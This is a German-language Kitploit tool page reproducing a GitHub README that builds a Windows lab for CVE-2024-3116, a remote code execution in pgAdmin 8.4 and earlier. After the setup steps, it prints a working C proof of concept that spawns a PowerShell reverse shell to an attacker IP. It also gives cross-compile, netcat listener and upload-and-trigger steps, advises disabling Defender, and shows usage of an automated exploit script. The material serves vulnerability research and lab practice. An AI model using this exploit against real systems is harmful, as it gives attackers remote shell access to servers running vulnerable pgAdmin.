Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-3116_RCE_in_pgadmin_8.4 — Ein Labor erstellen und die CVE-2024-3116 testen, eine Remote-Code-Ausführung in pgadmin <=8.4 | Kitploit
Tools/GitHubGitHub/techieneurons/cve-2024-3116_rce_in_pgadmin_8.4
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPayload-EntwicklungLabs & Praxis
GitHubtechieneurons/cve-2024-3116_rce_in_pgadmin_8.4

CVE-2024-3116_RCE_in_pgadmin_8.4

Ein Labor erstellen und die CVE-2024-3116 testen, eine Remote-Code-Ausführung in pgadmin <=8.4

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
132vor 2 JahrenNoch nicht geprüft

CVE-2024-3116_RCE_in_pgadmin_8.4

Aufbau eines Labs und Testen der CVE-2024-3116, eine Remote Code Execution in pgadmin <=8.4

Ich habe diesen Artikel als Grundlage verwendet.

Installation des Labs

Zunächst ein kleiner Kommentar zu diesem Lab: Die Dokumentation von pgadmin ist ziemlich schlecht und ich habe keine Spur davon gefunden, dass jemand pgadmin unter Windows installiert hat...

  1. Der Autor sagte, dass die Schwachstelle nur unter Windows vorhanden ist, daher werde ich die von Microsoft bereitgestellte Windows 11 VM verwenden (hier)
  2. Nach der Installation der VM installiere ich Python 3.10.0 (ich habe einige Tests mit 3.11 und 3.12 durchgeführt, aber ich hatte einige Abhängigkeitsprobleme, also nehmen wir 3.10)
  3. Installiere postgresql 16.2 (ohne pgadmin, und ich habe 'password' als Passwort für mein PostgreSQL gesetzt, nicht sehr wichtig in unserem Fall)
  4. Es wird empfohlen, pgadmin in einer Python-Virtualenv zu installieren, ich habe es versucht und es hat nicht funktioniert, also SCHEISS AUF VENV!
  5. pip aktualisieren: python -m pip install -U pip
  6. Wheel installieren: python -m pip install wheel
  7. Quelle herunterladen: https://www.postgresql.org/ftp/pgadmin/pgadmin4/ > 8.4 > pip > .whl-Datei herunterladen
  8. pgadmin4 installieren: python -m pip install C:\Users\User\Downloads\pgadmin4-8.4-py3-none-any.whl
    • Installationsordner: C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4
  9. Konfigurieren wir:
    • In der Datei: C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4\config_local.py, folgende Zeile hinzufügen:
    root@kitploit:~
    LOG_FILE = r'C:\Users\User\pgadmin4\log\pgadmin4.log'
    SQLITE_PATH = r'C:\Users\User\pgadmin4\pgadmin4.db'
    SESSION_DB_PATH = r'C:\Users\User\pgadmin4\sessions'
    STORAGE_DIR = r'C:\Users\User\pgadmin4\storage'
    SERVER_MODE = True 
    
    • Die Ordner erstellen, die noch nicht existieren (pgadmin4\log, pgadmin4\sessions, pgadmin4\storage)
    • Den Ordner erstellen: C:\Users\User\AppData\Roaming\pgAdmin (wird für setup.py benötigt)
    • Im Installationsordner von pgadmin4 (siehe 8) ausführen: python site-packages/pgadmin4/setup.py setup-db. Ich habe Email = [email protected] und Password = password eingegeben (diese E-Mail und das Passwort sind wichtig, da wir sie zum Verbinden mit pgadmin benötigen)

Dann der Webserver:

  1. XAMPP installieren (kann alles abwählen, nur Apache wird benötigt)
  2. Die Umgebungsvariable hinzufügen: MOD_WSGI_APACHE_ROOTDIR = C:/xampp/apache
  3. mod-wsgi installieren: pip install mod-wsgi
  4. Die Konfiguration abrufen: mod_wsgi-express module-config
  5. Das Ergebnis des vorherigen Befehls am Ende der Datei httpd.conf von Apache einfügen
  6. Zum Abschluss den Server starten mit (vom Installationsordner von pgadmin aus): mod_wsgi-express start-server .\pgAdmin4.wsgi (sollte auf Port 8000 erreichbar sein)

Exploit ausführen

Ich werde die Schwachstelle von einer Kali-Maschine aus ausnutzen, die sich im selben Netzwerk wie pgadmin befindet.

  • Kali = 192.168.112.128
  • Windows = 192.168.112.162

Nochmals: Dieser Exploit funktioniert nur gegen Windows-pgadmin! Und wir benötigen einen gültigen Benutzer, um diese Schwachstelle auszunutzen!

  1. Ich möchte eine Reverse-Shell, also habe ich den PoC aus dem Blogbeitrag (am Anfang dieser Datei verlinkt) genommen und die IP meiner Kali eingefügt, um zu testen:
root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
	if (argc > 1 && strcmp(argv[1], "--version") == 0) {
    	system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('192.168.112.128',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
	} else {
    	printf("Usage: %s --version\n", argv[0]);
	}
	return 0;
}
  1. Da der PoC ein C-Programm für Windows ist, verwenden wir einen Cross-Compiler:
    • Installation eines Cross-Compilers: sudo apt-get install mingw-w64
    • Eine Datei mit dem zuvor erwähnten PoC erstellen und kompilieren mit: x86_64-w64-mingw32-gcc -o pg_restore poc.c windows compilation from linux
  2. Der Name der Binärdatei muss mit pg_ (oder psql) beginnen, um ausgeführt zu werden, und muss ein bekanntes PostgreSQL-Tool sein.
  3. Burp starten und den Browser so konfigurieren, dass er über Burp läuft, um die Upload-Anfrage zu sehen.
  4. Laden wir diese Datei über die Oberfläche hoch (nach dem Login mit [email protected]): Tools > Import/Export Servers > ‘Klicken Sie auf das kleine Ordnersymbol’ > ‘Klicken Sie auf die drei Punkte in der oberen rechten Ecke des Dateiauswahlfensters und wählen Sie Hochladen’ > ‘Wählen Sie den binären PoC aus’ request of file upload
  5. Zur Überprüfung auf Windows gehen, dann im von uns erstellten Speicherordner (C:\Users\User\pgadmin4\storage) können wir die Datei sehen.
  6. AUCH SEHR WICHTIG: Die Antwort der Upload-Anfrage enthält den Pfad zur hochgeladenen exe-Datei, das wird später wichtig sein.
  7. Einen Netcat starten (nc -lvnp 9001), um die Antwort zu empfangen: WICHTIG !!!!!!!!! Der Defender verhindert die Ausführung der Binärdatei (also Defender deaktivieren)
  8. Dann gehen wir in der Oberfläche auf: und fügen den Pfad, den wir in der Antwort zur hochgeladenen Datei erhalten haben, in das Textfeld mit der Aufschrift vor PostgreSQL 16 ein. Abschließend auf das Symbol im Textfeld klicken, um den PoC auszulösen.

Exploit

Ich habe ein Python-Skript geschrieben, um diese Schwachstelle automatisch auszunutzen, fast nichts zu tun.

Wissenswertes vor der Verwendung dieses Skripts:

  • Wir benötigen einen Proxy, um die Antwort der hochgeladenen Datei abzufangen, damit der Pfad zur Datei an das Skript übergeben werden kann. Persönlich verwende ich Burp.
  • Das gesamte Skript verwendet Selenium, also benötigen Sie das (pip install selenium)
  • Das Skript führt einen Befehl aus, um die gesendete Binärdatei zu kompilieren, daher müssen Sie einen Cross-Compiler installieren: sudo apt-get install mingw-w64
  • Sie müssen in einem anderen Terminal einen Netcat starten mit dem Port, auf dem die Verbindung eingehen soll (nc -lvnp <port>)
  • Dieses Skript liefert eine Reverse-Shell

Um diesen Exploit zu verwenden, führen Sie diesen Befehl aus: python exploit_cve_2024_3116.py --email <pgadmin_user_email> --password <pgadmin_user_pass> --rhost <http://target_ip_or_domain> --rport <target_port> --lhost <listener_ip> --lport <listener_port>

Demo

Eine kleine Demo: https://youtu.be/zdMC3kbN0Is

Referenzen

Alle diese Links haben mir bei der Installation von pgadmin unter Windows geholfen:

  • https://www.digitalocean.com/community/tutorials/how-to-install-configure-pgadmin4-server-mode
  • https://www.pgadmin.org/docs/pgadmin4/development/server_deployment.html
  • https://pypi.org/project/mod-wsgi/
  • https://stackoverflow.com/questions/59801387/how-to-install-mod-wsgi-into-apache-on-windows
  • https://stackoverflow.com/questions/44670209/how-to-compile-c-code-in-linux-to-run-on-windows
Tool herunterladen
File > Preferences > Binary Paths
Enter binary path...
request triggering the poc
  • Genießen Sie es! reverse shell gained